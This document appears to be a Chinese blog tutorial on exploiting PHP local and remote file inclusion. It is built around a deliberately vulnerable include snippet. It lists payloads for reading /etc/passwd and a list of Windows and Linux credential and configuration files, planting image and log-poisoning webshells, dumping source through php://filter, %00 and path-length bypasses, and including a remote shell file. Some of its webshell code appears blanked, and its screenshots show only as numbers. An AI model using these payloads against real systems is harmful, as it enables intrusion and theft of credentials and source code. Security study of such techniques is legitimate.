0%

文件包含漏洞利用

本地文件包含

1
<?php include($_GET['file']);?>

文件读取

本地文件包含可以作为文件读取使用:

1
2
3
4
5
$ curl http://127.0.0.1/include.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

可读如下敏感文件:

  • Windows:
    • C:\boot.ini //查看系统版本
    • C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
    • C:\Windows\repair\sam //存储系统初次安装的密码
    • C:\Program Files\mysql\my.ini //Mysql配置
    • C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    • C:\Windows\php.ini //php配置信息
    • C:\Windows\my.ini //Mysql配置信息
  • Linux:
    • ~/.ssh/authorized_keys
    • /etc/passwd
    • /etc/my.cnf
    • /etc/httpd/conf/httpd.conf
    • /var/log/apache2/access.log
    • /var/log/httpd/access_log

包含图片马GetShell

首先上传图片马img.gif:

1
GIF89a <?php phpinfo();?>

然后包含图片马,后缀名无限制:

1549593738249

包含日志GetShell

先访问/include.php?file=<?=`ls`?>,将命令写入日志。

1549594868535

再包含日志GetShell:

1549594747532

php://filter

php://filter可以用来结合base64读取php源代码,payload为:php://filter/read=convert.base64-encode/resource=include.php

1549595279613

绕过限制

  • %00截断
    • ?file=../../../etc/pwd%00
  • 路径长度阶段
    • ?file=../../../etc/pwd/././.[…]/././.
    • ?file=../../../boot.ini/….[…]………

远程文件包含

需要All_url_fopen=On(默认开启)和Allow_url_include=On(默认关闭)

直接包含远程一句话

1
/include.php?file=http://127.0.0.2/a.txt

a.txt:

1
<?php                                                         ?>") ?>

php://input

php://input可以将post部分请求作为一个php的只读文件流

1549596283877

生成一句话payload:

1
<?php                                                            ?>") ?>

参考链接